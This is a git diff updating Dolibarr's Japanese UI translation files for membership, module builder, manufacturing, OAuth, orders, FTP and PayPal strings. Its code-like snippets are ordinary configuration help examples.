ThirdpartyNotLinkedToMember=構成員にリンクされていない取引先 @@ -15,6 +17,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=別の構成員(名前:%s ErrorUserPermissionAllowsToLinksToItselfOnly=セキュリティ上の理由から、あなたは全ユーザが自分のものでないユーザに構成員をリンクすることができるように編集する権限を付与する必要がある。 SetLinkToUser=Dolibarrユーザへのリンク SetLinkToThirdParty=Dolibarrの取引先にリンクする +MemberCountersArePublic=有効メンバーのカウンターは公開されている MembersCards=構成員向けカードの生成 MembersList=構成員のリスト MembersListToValid=下書きの構成員のリスト(要検証) @@ -34,7 +37,8 @@ DateSubscription=入会日 DateEndSubscription=成員資格終了日 EndSubscription=成員資格終了 SubscriptionId=拠出金 ID -WithoutSubscription=拠出金なし +WithoutSubscription=メンバーシップなし +WaitingSubscription=メンバーシップ保留中 MemberId=メンバーID MemberRef=メンバー参照 NewMember=新構成員 @@ -72,6 +76,12 @@ MemberTypeCanNotBeDeleted=構成員種別が削除できない NewSubscription=新規貢献 NewSubscriptionDesc=このフォームは、財団の新規構成員としての購読を記録するためのもの。更新を希望される方(既に構成員の方)は、財団理事会までメールで%sご連絡ください。 Subscription=拠出金 +AnyAmountWithAdvisedAmount=任意の量、推奨 %s +AnyAmountWithoutAdvisedAmount=任意の量 +CanEditAmountShort=任意の量 +CanEditAmountShortForValues=推奨、任意の量 +MembershipDuration=期間 +GetMembershipButtonLabel=加入 Subscriptions=拠出金 SubscriptionLate=遅い SubscriptionNotReceived=拠出金未受領 @@ -87,7 +97,7 @@ VoteAllowed=許可される投票 Physical=個人 Moral=株式会社 MorAndPhy=法人および個人 -Reenable=再度有効にする +Reenable=再有効化 ExcludeMember=構成員を除外する Exclude=除外する ConfirmExcludeMember=この構成員を除外してもよいか? @@ -104,7 +114,7 @@ FollowingLinksArePublic=以下のリンクはDolibarrの権限によって保護 PublicMemberList=公共の構成員リスト BlankSubscriptionForm=公開自己登録フォーム BlankSubscriptionFormDesc=Dolibarrは、外部の訪問者が財団への登録を依頼できるように、公開URL /ウェブサイトを提供できる。オンライン支払モジュールが有効になっている場合、支払フォームも自動的に提供される場合がある。 -EnablePublicSubscriptionForm=セルフサブスクリプションフォームで公開ウェブサイトを有効にする +EnablePublicSubscriptionForm=セルフサブスクリプションフォームで公開ウェブサイトを有効化 ForceMemberType=構成員種別を強制する ExportDataset_member_1=構成員と拠出金 ImportDataset_member_1=構成員 @@ -136,7 +146,7 @@ CardContent=あなたの構成員カードの内容 # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=成員資格の要求を受領したことをお知らせする。

      ThisIsContentOfYourMembershipWasValidated=成員資格が下記の情報で承認されたことをお知らせする:

      -ThisIsContentOfYourSubscriptionWasRecorded=新規サブスクリプションが記録されたことをお知らせする。

      +ThisIsContentOfYourSubscriptionWasRecorded=新しいサブスクリプションが記録されたことをお知らせしたい。同封の請求書をご覧あれ。

      ThisIsContentOfSubscriptionReminderEmail=サブスクリプションの有効期限が近づいているか、既に有効期限が切れていることをお知らせする(__MEMBER_LAST_SUBSCRIPTION_DATE_END__)。更新していただければ幸い。

      ThisIsContentOfYourCard=私共の持っているあなたについて情報の概要。何か相違があればご連絡ください。

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=ゲストの自動登録の場合に受信する通知メールの件名 @@ -198,9 +208,12 @@ SubscriptionsStatistics=拠出金統計 NbOfSubscriptions=拠出金の本数 AmountOfSubscriptions=拠出金から集計した金額 TurnoverOrBudget=売上高(法人の場合)または予算(基礎用) -DefaultAmount=デフォルトの拠出金金額 -CanEditAmount=訪問者はその拠出金額を選択/編集できる -MEMBER_NEWFORM_PAYONLINE=統合されたオンライン決済のページにジャンプ +DefaultAmount=デフォルトの拠出額 (メンバー タイプ レベルで金額が定義されていない場合にのみ使用) +MinimumAmount=最低額(寄付額が無料の場合のみ使用) +CanEditAmount=購読金額は無料 +CanEditAmountDetail=訪問者は、メンバーの種類に関係なく、寄付の金額を選択/編集できる +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=オンライン登録後、オンライン決済ページに自動的に切り替わる ByProperties=本質的に MembersStatisticsByProperties=性質別構成員統計 VATToUseForSubscriptions=拠出金に使用するVAT率 @@ -221,3 +234,5 @@ CreateDolibarrLoginDesc=構成員のユーザログインを作成すると、 CreateDolibarrThirdPartyDesc=取引先とは法人であり、拠出金ごとに請求書生成することにした場合に請求書で使用される。後から、拠出金を記録するプロセスにて作成できる。 MemberFirstname=メンバの名 MemberLastname=メンバの姓 +MemberCodeDesc=すべてのメンバーに固有のメンバーコード +NoRecordedMembers=登録メンバーなし diff --git a/htdocs/langs/ja_JP/modulebuilder.lang b/htdocs/langs/ja_JP/modulebuilder.lang index 47e28f19dbc..a4423a481b5 100644 --- a/htdocs/langs/ja_JP/modulebuilder.lang +++ b/htdocs/langs/ja_JP/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= モジュール ID ModuleBuilderDesc=このツールは、経験豊富なユーザまたは開発者のみが使用する必要がある。独自のモジュールを構築または編集するためのユーティリティを提供する。代替の手動開発のドキュメントは、ここにある。 EnterNameOfModuleDesc=作成するモジュール/アプリケーションの名前をスペースなしで入力する。大文字を使用して単語を区切る(例:MyModule、EcommerceForShop、SyncWithMySystem ...) -EnterNameOfObjectDesc=作成するオブジェクトの名前をスペースなしで入力する。大文字を使用して単語を区切る(例:MyObject、Student、Teacher ...)。 CRUDクラスファイルだけでなく、APIファイル、オブジェクトを一覧表示/追加/編集/削除するページ、およびSQLファイルが生成される。 +EnterNameOfObjectDesc=作成するオブジェクトの名前をスペースなしで入力する。単語を区切るには大文字を使用する (例: MyObject、Student、Teacher...)。 CRUD クラス ファイル、オブジェクトを一覧表示/追加/編集/削除するページと SQL ファイルが生成される。 EnterNameOfDictionaryDesc=作成する辞書の名前をスペースなしで入力する。大文字を使用して単語を区切る(例:MyDico ...)。クラスファイルだけでなく、SQLファイルも生成される。 ModuleBuilderDesc2=モジュールが生成/編集されるパス(%sに定義された外部モジュールの最初のディレクトリ): %s ModuleBuilderDesc3=生成された/編集可能なモジュールが見つかった: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=ファイル%s がモジュールディレ NewModule=新規モジュール NewObjectInModulebuilder=新規オブジェクト NewDictionary=新規辞書 +ModuleName=モジュール名 ModuleKey=モジュールキー ObjectKey=オブジェクトキー DicKey=辞書キー @@ -30,8 +32,8 @@ DangerZone=危険区域 BuildPackage=パッケージをビルドする BuildPackageDesc=アプリケーションのzipパッケージを生成して、Dolibarrで配布する準備を整えることができる。また、 DoliStore.comのようなマーケットプレイスで配布または販売することもできる。 BuildDocumentation=ドキュメントを作成する -ModuleIsNotActive=このモジュールはまだ有効化されていない。 %sにアクセスしてライブにするか、ここをクリックすること -ModuleIsLive=このモジュールは有効化されている。変更を加えると、現在のライブ機能が破損する可能性がある。 +ModuleIsNotActive=このモジュールはまだ活性化されていない。 %sにアクセスしてライブにするか、ここをクリックすること +ModuleIsLive=このモジュールは活性化されている。変更を加えると、現在のライブ機能が破損する可能性がある。 DescriptionLong=長い説明 EditorName=編集者の名前 EditorUrl=編集者のURL @@ -48,11 +50,14 @@ PathToModulePackage=モジュール/アプリケーションパッケージのzi PathToModuleDocumentation=モジュール/アプリケーションドキュメントのファイルへのパス(%s) SpaceOrSpecialCharAreNotAllowed=スペースや特殊文字は使用できない。 FileNotYetGenerated=ファイルはまだ生成されていない +GenerateCode=コードを生成する RegenerateClassAndSql=.classファイルと.sqlファイルの強制更新 RegenerateMissingFiles=不足しているファイルを生成する SpecificationFile=ドキュメントのファイル LanguageFile=言語のファイル ObjectProperties=オブジェクトのプロパティ +Property=適当 +PropertyDesc=プロパティは、オブジェクトを特徴付ける属性。この属性には、コード、ラベル、およびいくつかのオプションを持つタイプがある。 ConfirmDeleteProperty=プロパティ%s を削除してもよいか?これにより、PHPクラスのコードが変更されるが、オブジェクトのテーブル定義から列も削除される。 NotNull=NULLではない NotNullDesc=1=データベースを NOT NULL に設定、0=null値を許可、-1=空の場合に値をNULLに強制することでnull値を許可(''または0) @@ -81,15 +86,16 @@ IsAMeasure=尺度は DirScanned=スキャンされたディレクトリ NoTrigger=トリガーなし NoWidget=ウィジェットなし -GoToApiExplorer=APIエクスプローラー +ApiExplorer=API エクスプローラー ListOfMenusEntries=メニューエントリのリスト ListOfDictionariesEntries=辞書エントリのリスト ListOfPermissionsDefined=定義された権限のリスト SeeExamples=こちらの例を見ること -EnabledDesc=このフィールドをアクティブにする条件(例:1または$ conf-> global-> MYMODULE_MYOPTION) -VisibleDesc=フィールドは表示されているか? (例:0 =表示されない、1 =リストおよび作成/更新/表示フォームで表示、2 =リストでのみ表示、3 =作成/更新/表示フォームでのみ表示(リストではない)、4 =リストおよび更新/表示フォームでのみ表示(作成しない)、5 =リストおよび表示フォームでのみ表示(作成しない、更新しない)

      負の値を使用すると、フィールドはデフォルトでリストに表示されないが、表示用に選択できる)。

      これは、次のような式にできる。例:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:
      ($user->rights->holiday->define_holiday ? 1 : 0) -DisplayOnPdfDesc=互換性のあるPDFドキュメントにこのフィールドを表示する。 "Position" フィールドで位置を管理できる。
      現在、既知の互換性のあるPDFモデルは次のとおり : eratosthene (注文), espadon (発送), sponge (請求), cyan (提案/見積), cornas (仕入発注)

      ドキュメントの場合:
      0 = 非表示
      1 = 表示
      2 = 空でない場合のみ表示

      ドキュメント行の場合 :
      0 = 非表示
      1 = カラムに表示
      3 = 説明の後の説明カラムに表示
      4 = 空でない場合のみ、説明の後の説明カラムに表示 -DisplayOnPdf=PDFで表示 +EnabledDesc=このフィールドをアクティブにする条件。

      例:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=フィールドは表示されているか? (例: 0=表示されない、1=リストおよび作成/更新/表示フォームで表示される、2=リストでのみ表示される、3=作成/更新/表示フォームでのみ表示される (リストを除く)、4=リストおよび更新/表示フォームで表示される(作成を除く)、 5=リストおよび表示フォームで表示される(作成と更新を除く)。

      負の値を使用すると、フィールドはデフォルトではリストに表示されないが、表示用に選択できることを意味する)。 +ItCanBeAnExpression=表現となりえるもの。例:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=互換性のある PDF ドキュメントでこのフィールドを表示すると、「位置」フィールドで位置を管理できる。
      ドキュメントに対して:
      0 = 非表示
      1 = 表示
      2 = 空以外なら表示

      ドキュメントの行に対して :
      0 = 非表示
      1 = 1欄に表示
      3 = 説明の後の行説明欄に表示
      4 = 空以外なら、説明の後の説明欄に表示 +DisplayOnPdf=PDFで IsAMeasureDesc=フィールドの値を累積して、合計をリストに入れることはできるか? (例:1または0) SearchAllDesc=クイック検索ツールから検索するためにフィールドが使用されているか? (例:1または0) SpecDefDesc=他のタブでまだ定義されていない、モジュールで提供する全ドキュメントをここに入力する。豊富な.asciidoc構文である.md以上を使用できる。 @@ -97,9 +103,9 @@ LanguageDefDesc=このファイルに、各言語ファイルの全キーと翻 MenusDefDesc=モジュールが提供するメニューをここで定義する DictionariesDefDesc=モジュールが提供する辞書をここで定義する PermissionsDefDesc=モジュールによって提供される新規権限をここで定義する -MenusDefDescTooltip=モジュール/アプリケーションによって提供されるメニューは、モジュール記述子ファイルの配列 $ this->menusに定義されている。このファイルを手動で編集するか、埋め込みエディターを使用できる。

      注:定義されると(およびモジュールが再有効化されると)、メニューは%sの管理者ユーザが使用できるメニューエディターにも表示される。 -DictionariesDefDescTooltip=モジュール/アプリケーションによって提供されるディクショナリは、モジュール記述子ファイルの配列 $ this-> dictionariesに定義されている。このファイルを手動で編集するか、埋め込みエディターを使用できる。

      注:定義(およびモジュールの再有効化)が完了すると、%sの管理者ユーザには辞書も設定領域に表示される。 -PermissionsDefDescTooltip=モジュール/アプリケーションによって提供されるアクセス許可は、配列 $ this-> rightsにモジュール記述子ファイルに定義される。このファイルを手動で編集するか、埋め込みエディターを使用できる。

      注:定義されると(およびモジュールが再有効化されると)、アクセス許可はデフォルトのアクセス許可設定%sに表示される。 +MenusDefDescTooltip=モジュール/アプリケーションによって提供されるメニューは、モジュール記述子ファイルの配列 $ this->menusに定義されている。このファイルを手動で編集するか、埋め込みエディターを使用できる。

      注:定義されると(およびモジュールが再活性化されると)、メニューは%sの管理者ユーザが使用できるメニューエディターにも表示される。 +DictionariesDefDescTooltip=モジュール/アプリケーションによって提供されるディクショナリは、モジュール記述子ファイルの配列 $ this-> dictionariesに定義されている。このファイルを手動で編集するか、埋め込みエディターを使用できる。

      注:定義(およびモジュールの再活性化)が完了すると、%sの管理者ユーザには辞書も設定領域に表示される。 +PermissionsDefDescTooltip=モジュール/アプリケーションによって提供されるアクセス許可は、配列 $ this-> rightsにモジュール記述子ファイルに定義される。このファイルを手動で編集するか、埋め込みエディターを使用できる。

      注:定義されると(およびモジュールが再活性化されると)、アクセス許可はデフォルトのアクセス許可設定%sに表示される。 HooksDefDesc=定義する:管理したいフックのコンテキストを module_parts['hooks'] プロパティのモジュール記述子の中に。 (コンテキストのリストは、コアコードで 'initHooks(' を検索すると見つかる).
      編集する:フックされた関数のコードを追加するためのフックファイルを。 (フック可能な関数は、コアコードで 'executeHooks' を検索すると見つかる). TriggerDefDesc=モジュールの外部のビジネスイベント(他のモジュールによってトリガーされるイベント)が実行されるときに実行するコードをトリガーファイルで定義する。 SeeIDsInUse=インストールで使用されているIDを確認する @@ -130,27 +136,40 @@ UseSpecificEditorURL = 特定のエディターURLを使用する UseSpecificFamily = 特定の家族を使用する UseSpecificAuthor = 特定の作成者を使用する UseSpecificVersion = 特定の初期バージョンを使用する -IncludeRefGeneration=オブジェクトの参照は、カスタム採番ルールによって自動的に生成される必要がある +IncludeRefGeneration=このオブジェクトの参照は、カスタム番号付けルールによって自動的に生成される必要がある IncludeRefGenerationHelp=カスタム採番ルールを使用して参照の生成を自動的に管理するコードを含める場合は、これをチェックすること -IncludeDocGeneration=オブジェクトのテンプレートからいくつかのドキュメントを生成したい +IncludeDocGeneration=このオブジェクトのテンプレートからいくつかのドキュメント (PDF、ODT) を生成する機能が必要 IncludeDocGenerationHelp=これをチェックすると、レコードに「ドキュメントの生成」ボックスを追加するためのコードが生成される。 -ShowOnCombobox=コンボボックスに値を表示する +ShowOnCombobox=値をコンボ ボックスに表示する KeyForTooltip=ツールチップのキー CSSClass=フォーム 編集/作成 用のCSS CSSViewClass=読取フォーム用CSS CSSListClass=リストのCSS NotEditable=編集不可 ForeignKey=外部キー -TypeOfFieldsHelp=フィールドのタイプ:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1'は、コンボの後に+ボタンを追加して、レコードを作成することを意味する
      'filter' はSQLの条件文、例: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=このフィールドの値が別のテーブルに存在することを保証する必要がある場合。構文に一致する値をここに入力する: tablename.parentfieldtocheck +TypeOfFieldsHelp=例:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' は、レコードを作成するコンボの後に + ボタンを追加することを意味する
      'filter' はSQL 条件、例: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=これは、フィールド/属性のタイプ。 AsciiToHtmlConverter=アスキーからHTMLへのコンバーター AsciiToPdfConverter=アスキーからPDFへのコンバーター TableNotEmptyDropCanceled=テーブルが空ではない。ドロップはキャンセルされた。 ModuleBuilderNotAllowed=モジュールビルダーは利用できるが、あなたのユーザには許可されていない。 ImportExportProfiles=プロファイルのインポートとエクスポート -ValidateModBuilderDesc=挿入または更新中にフィールドの内容を検証ために呼び出されるオブジェクトの $this->validateField() メソッドがある場合、これを1に設定する。検証が必要ない場合は0を設定する。 +ValidateModBuilderDesc=オブジェクトの $this->validateField() メソッドを呼び出して、挿入または更新中にフィールドの内容を検証する場合は、これを 1 に設定する。検証が必要ない場合は 0 を設定する。 WarningDatabaseIsNotUpdated=警告:データベースは自動的に更新済にならない。テーブルを破棄し、モジュールを 無効 - 有効 にしてテーブルを再作成する必要がある LinkToParentMenu=親メニュー(fk_xxxxmenu) ListOfTabsEntries=タブエントリのリスト TabsDefDesc=モジュールによって提供されるタブをここで定義する TabsDefDescTooltip=モジュール/アプリケーションによって提供されるタブは、配列 $this->tabsにおいてモジュール記述子ファイルに定義される。このファイルを手動で編集できるし、埋め込みエディターの使用もできる。 BadValueForType=タイプ%sの値が正しくない +DefinePropertiesFromExistingTable=既存のテーブルからプロパティを定義する +DefinePropertiesFromExistingTableDesc=データベース内に (オブジェクトを作成するための) テーブルが既に存在する場合は、それを使用してオブジェクトのプロパティを定義できる。 +DefinePropertiesFromExistingTableDesc2=テーブルがまだ存在しない場合は、空のままにすること。コード ジェネレーターはさまざまな種類のフィールドを使用して、後で編集できるテーブルの例を作成する。 +GeneratePermissions=このオブジェクトに権限を追加したい +GeneratePermissionsHelp=このオブジェクトのデフォルトの権利を生成する +PermissionDeletedSuccesfuly=権限が正常に削除された +PermissionUpdatedSuccesfuly=権限が正常に更新された +PermissionAddedSuccesfuly=権限が正常に追加された +MenuDeletedSuccessfuly=メニューが正常に削除された +MenuAddedSuccessfuly=メニューが正常に追加された +MenuUpdatedSuccessfuly=メニューは正常に更新された diff --git a/htdocs/langs/ja_JP/mrp.lang b/htdocs/langs/ja_JP/mrp.lang index 663143a5c52..8af5c00fc26 100644 --- a/htdocs/langs/ja_JP/mrp.lang +++ b/htdocs/langs/ja_JP/mrp.lang @@ -11,8 +11,8 @@ Bom=部品表 BillOfMaterials=部品表 BillOfMaterialsLines=部品表の行 BOMsSetup=モジュールBOMの設定 -ListOfBOMs=部品表のリスト - BOM -ListOfManufacturingOrders=製造注文のリスト +ListOfBOMs=部品表 - BOM +ListOfManufacturingOrders=製造指図 NewBOM=新規部品表 ProductBOMHelp=このBOMで作成(または分解)する製品。
      注:プロパティ「製品目」=「原材料」を持つ製品はこのリストに表示されない。 BOMsNumberingModules=BOM採番テンプレート @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=部品表%sのクローンを作成してよいか ConfirmCloneMo=製造指図%sのクローンを作成してよいか? ManufacturingEfficiency=製造効率 ConsumptionEfficiency=消費効率 +Consumption=消費 ValueOfMeansLoss=0.95の値は、製造中または分解中の平均5%%の損失を意味する。 ValueOfMeansLossForProductProduced=0.95の値は、生産された製品の損失の平均5%%を意味する DeleteBillOfMaterials=部品表を削除 @@ -82,6 +83,7 @@ ProductsToProduce=生産する製品 UnitCost=単価 TotalCost=総費用 BOMTotalCost=消費する各数量と製品のコストに基づいてこのBOMを生成するためのコスト(定義されている場合は原価、定義されている場合は平均加重価格、それ以外の場合は最良の購入価格を使用) +BOMTotalCostService=「ワークステーション」モジュールが活性化され、ワークステーションがデフォルトでライン上に定義されている場合、計算は「数量 (時間に変換) x ワークステーション ahr」、それ以外の場合は「数量 (時間に変換) x サービスの原価」。 GoOnTabProductionToProduceFirst=製造指図を閉じるには、最初に製造を開始しておく必要がある(タブ '%s'を参照)。ただし、キャンセルすることはできる。 ErrorAVirtualProductCantBeUsedIntoABomOrMo=キットをBOMまたはMOに使用することはできない Workstation=ワークステーション @@ -91,8 +93,8 @@ WorkstationSetup = ワークステーションの設定 WorkstationSetupPage = ワークステーションの設定ページ WorkstationList=ワークステーションリスト WorkstationCreate=新しいワークステーションを追加する -ConfirmEnableWorkstation=ワークステーション%s を有効にするか? -EnableAWorkstation=ワークステーションを有効にする +ConfirmEnableWorkstation=ワークステーション%s を有効化するか? +EnableAWorkstation=ワークステーションを有効化 ConfirmDisableWorkstation=ワークステーション%s を無効にしてもよいか? DisableAWorkstation=ワークステーションを無効にする DeleteWorkstation=削除 @@ -100,6 +102,7 @@ NbOperatorsRequired=必要なオペレーターの数 THMOperatorEstimated=推定オペレーターTHM THMMachineEstimated=推定マシンTHM WorkstationType=ワークステーションタイプ +DefaultWorkstation=デフォルトのワークステーション Human=人間 Machine=機械 HumanMachine=人間/機械 @@ -112,3 +115,10 @@ MOAndLines=製造オーダーとライン MoChildGenerate=子Moを生成する ParentMo=親MO MOChild=子MO +BomCantAddChildBom=命名法 %s は、命名法 %s につながるツリーに既に存在する。 +BOMNetNeeds = BOM 正味必要量 +BOMProductsList=BOMの製品 +BOMServicesList=BOMのサービス +Manufacturing=製造業 +Disassemble=分解する +ProducedBy=によって生産 diff --git a/htdocs/langs/ja_JP/oauth.lang b/htdocs/langs/ja_JP/oauth.lang index 86639c898c3..36347fdeba4 100644 --- a/htdocs/langs/ja_JP/oauth.lang +++ b/htdocs/langs/ja_JP/oauth.lang @@ -9,8 +9,9 @@ HasAccessToken=トークンを生成し、ローカルデータベースに保 NewTokenStored=トークンを受け取り、保存した ToCheckDeleteTokenOnProvider=ここをクリックすると %s OAuth プロバイダによって保存された承認を確認/削除する TokenDeleted=トークンを削除した +GetAccess=ここをクリックしてトークンを取得 RequestAccess=アクセスをリクエスト/更新して新しいトークンを受け取るには、ここをクリックすること -DeleteAccess=ここをクリックするとトークンを削除する +DeleteAccess=トークンを削除するには、ここをクリックすること UseTheFollowingUrlAsRedirectURI=OAuthプロバイダーで認証情報を作成するときは、リダイレクトURIとして次のURLを使用する。 ListOfSupportedOauthProviders=OAuth2トークンプロバイダーを追加する。次に、OAuthプロバイダーの管理ページに移動してOAuth IDとシークレットを作成/取得し、ここに保存する。完了したら、他のタブをオンにしてトークンを生成する。 OAuthSetupForLogin=OAuthトークンを管理(生成/削除)するページ @@ -30,7 +31,11 @@ OAUTH_GITHUB_SECRET=OAuthGitHubシークレット OAUTH_URL_FOR_CREDENTIAL=このページに移動する OAuthIDとシークレットを作成または取得するには OAUTH_STRIPE_TEST_NAME=OAuthストライプテスト OAUTH_STRIPE_LIVE_NAME=OAuth Stripe Live -OAUTH_ID=OAuth ID +OAUTH_ID=OAuth クライアント ID OAUTH_SECRET=OAuthシークレット +OAUTH_TENANT=OAuth テナント OAuthProviderAdded=OAuthプロバイダーが追加された AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=このプロバイダーとラベルのOAuthエントリは既に存在する +URLOfServiceForAuthorization=OAuth サービスが認証用に提供する URL +Scopes=権限 (スコープ) +ScopeUndefined=パーミッション (スコープ) 未定義 (前のタブを参照) diff --git a/htdocs/langs/ja_JP/orders.lang b/htdocs/langs/ja_JP/orders.lang index 79d1c47c9d9..ecd36add00e 100644 --- a/htdocs/langs/ja_JP/orders.lang +++ b/htdocs/langs/ja_JP/orders.lang @@ -96,6 +96,10 @@ OrdersStatisticsSuppliers=購買発注の統計 NumberOfOrdersByMonth=月別受注数 AmountOfOrdersByMonthHT=月別のご注文金額(税込) ListOfOrders=注文の一覧 +ListOrderLigne=注文明細 +productobuy=購買のみの製品 +productonly=製品のみ +disablelinefree=無料回線なし CloseOrder=密集隊形 ConfirmCloseOrder=この注文を配信済に設定してもよいか?注文が配信されると、請求に設定できる。 ConfirmDeleteOrder=この注文を削除してもよいか? @@ -131,6 +135,7 @@ SupplierOrderClassifiedBilled=購買発注%sセットの請求 OtherOrders=他の注文 SupplierOrderValidatedAndApproved=サプライヤーの注文は検証済および承認されている:%s SupplierOrderValidated=サプライヤーの注文が検証済される:%s +OrderShowDetail=注文の詳細を表示 ##### Types de contacts ##### TypeContact_commande_internal_SALESREPFOLL=代表的なフォローアップ受注 TypeContact_commande_internal_SHIPPING=代表的なフォローアップ出荷 @@ -199,3 +204,5 @@ StatusSupplierOrderApproved=承認された StatusSupplierOrderRefused=拒否 StatusSupplierOrderReceivedPartially=部分的に受け StatusSupplierOrderReceivedAll=受け取った全製品 +NeedAtLeastOneInvoice = 少なくとも 1 つの請求書が必要 +LineAlreadyDispatched = 受注明細はすでに受領されている。 diff --git a/htdocs/langs/ja_JP/other.lang b/htdocs/langs/ja_JP/other.lang index 2130e94c730..9bd0c380831 100644 --- a/htdocs/langs/ja_JP/other.lang +++ b/htdocs/langs/ja_JP/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=購買発注が承認された Notify_ORDER_SUPPLIER_REFUSE=購買発注が拒否された Notify_PROPAL_VALIDATE=顧客の提案は検証済 Notify_PROPAL_CLOSE_SIGNED=顧客提案は署名された +Notify_PROPAL_CLOSE_SIGNED_WEB=顧客の提案はポータル ページで署名にて終了 Notify_PROPAL_CLOSE_REFUSED=顧客の提案は拒否された +Notify_PROPAL_CLOSE_REFUSED_WEB=顧客の提案はポータル ページで拒否にて終了 Notify_PROPAL_SENTBYMAIL=電子メールによって送信された商取引提案 Notify_WITHDRAW_TRANSMIT=伝送撤退 Notify_WITHDRAW_CREDIT=クレジット撤退 @@ -181,6 +183,7 @@ SizeUnitfoot=フィート SizeUnitpoint=ポイント BugTracker=バグトラッカー SendNewPasswordDesc=このフォームでは、新規パスワードを要求できる。それはあなたのメールアドレスに送られる。
      メール内の確定リンクをクリックすると、変更が有効になる。
      受信トレイを確定すること。 +EnterNewPasswordHere=ここに新しいパスワードを入力してください BackToLoginPage=ログインページに戻る AuthenticationDoesNotAllowSendNewPassword=認証モードは%s
      このモードではDolibarr上でパスワードの表示も変更もできない。
      パスワードを変更したい場合はシステム管理者に連絡すること。 EnableGDLibraryDesc=このオプションを使用するには、PHPインストールでGDライブラリをインストールまたは有効にする。 @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=請求書%sは検証済。 EMailTextInvoicePayed=請求書%sが支払われた。 EMailTextProposalValidated=提案%sは検証済。 EMailTextProposalClosedSigned=提案%sはクローズドサインされた。 +EMailTextProposalClosedSignedWeb=提案 %s はポータル ページで署名にて終了。 +EMailTextProposalClosedRefused=提案 %s は拒否にて終了。 +EMailTextProposalClosedRefusedWeb=提案 %s はポータル ページで拒否にて終了。 EMailTextOrderValidated=注文%sは検証済。 EMailTextOrderApproved=注文%sが承認された。 EMailTextOrderValidatedBy=注文%sは%sによって記録された。 @@ -311,10 +317,10 @@ ExternalSiteURL=HTMLiframeコンテンツの外部サイトURL ExternalSiteModuleNotComplete=モジュールExternalSite(外部サイト)が正しく構成されていない。 ExampleMyMenuEntry=私のメニューエントリ -# FTP +# ftp FTPClientSetup=FTPまたはSFTPクライアントモジュールの設定 -NewFTPClient=新規FTP / FTPS接続の設定 -FTPArea=FTP/FTPS Area +NewFTPClient=新しい FTP/SFTP 接続の設定 +FTPArea=FTP/SFTPエリア FTPAreaDesc=この画面には、FTPおよびSFTPサーバのビューが表示される。 SetupOfFTPClientModuleNotComplete=FTPまたはSFTPクライアントモジュールの設定が不完全なようだ FTPFeatureNotSupportedByYourPHP=お使いのPHPはFTPまたはSFTP機能をサポートしていない @@ -325,3 +331,9 @@ FTPFailedToRemoveDir=ディレクトリ%s の削除に失敗した:権 FTPPassiveMode=パッシブモード ChooseAFTPEntryIntoMenu=メニューからFTP / SFTPサイトを選択する... FailedToGetFile=ファイル%sの取得に失敗した +ErrorFTPNodisconnect=FTP/SFTP サーバーの切断エラー +FileWasUpload=ファイル %s がアップロードされた +FTPFailedToUploadFile=ファイル %s のアップロードに失敗した。 +AddFolder=フォルダーを作成 +FileWasCreateFolder=フォルダ %s が作成された +FTPFailedToCreateFolder=フォルダー %s の作成に失敗した。 diff --git a/htdocs/langs/ja_JP/partnership.lang b/htdocs/langs/ja_JP/partnership.lang index 6636b1667ee..a2f24c4b4c6 100644 --- a/htdocs/langs/ja_JP/partnership.lang +++ b/htdocs/langs/ja_JP/partnership.lang @@ -20,6 +20,7 @@ ModulePartnershipName=パートナーシップ管理 PartnershipDescription=モジュールパートナーシップ管理 PartnershipDescriptionLong= モジュールパートナーシップ管理 Partnership=パートナーシップ +Partnerships=パートナーシップ AddPartnership=パートナーシップを追加 CancelPartnershipForExpiredMembers=パートナーシップ: サブスクリプションの有効期限が切れた構成員のパートナーシップをキャンセル PartnershipCheckBacklink=パートナーシップ: 参照元のバックリンクを確認する @@ -28,6 +29,7 @@ PartnershipCheckBacklink=パートナーシップ: 参照元のバックリン # Menu # NewPartnership=新規パートナーシップ +NewPartnershipbyWeb=パートナーシップ リクエストが正常に追加された。近日中にご連絡するやも... ListOfPartnerships=パートナーシップのリスト # diff --git a/htdocs/langs/ja_JP/paypal.lang b/htdocs/langs/ja_JP/paypal.lang index 00ab548784b..0eb1ff33f66 100644 --- a/htdocs/langs/ja_JP/paypal.lang +++ b/htdocs/langs/ja_JP/paypal.lang @@ -34,3 +34,4 @@ ARollbackWasPerformedOnPostActions=全Postアクションでロールバック ValidationOfPaymentFailed=支払の検証に失敗した CardOwner=カードホルダー PayPalBalance=ペイパルクレジット +OnlineSubscriptionPaymentLine=%s に記録されたオンライン サブスクリプションは、
      %s 経由で支払われた
      送信元IPアドレス: %s
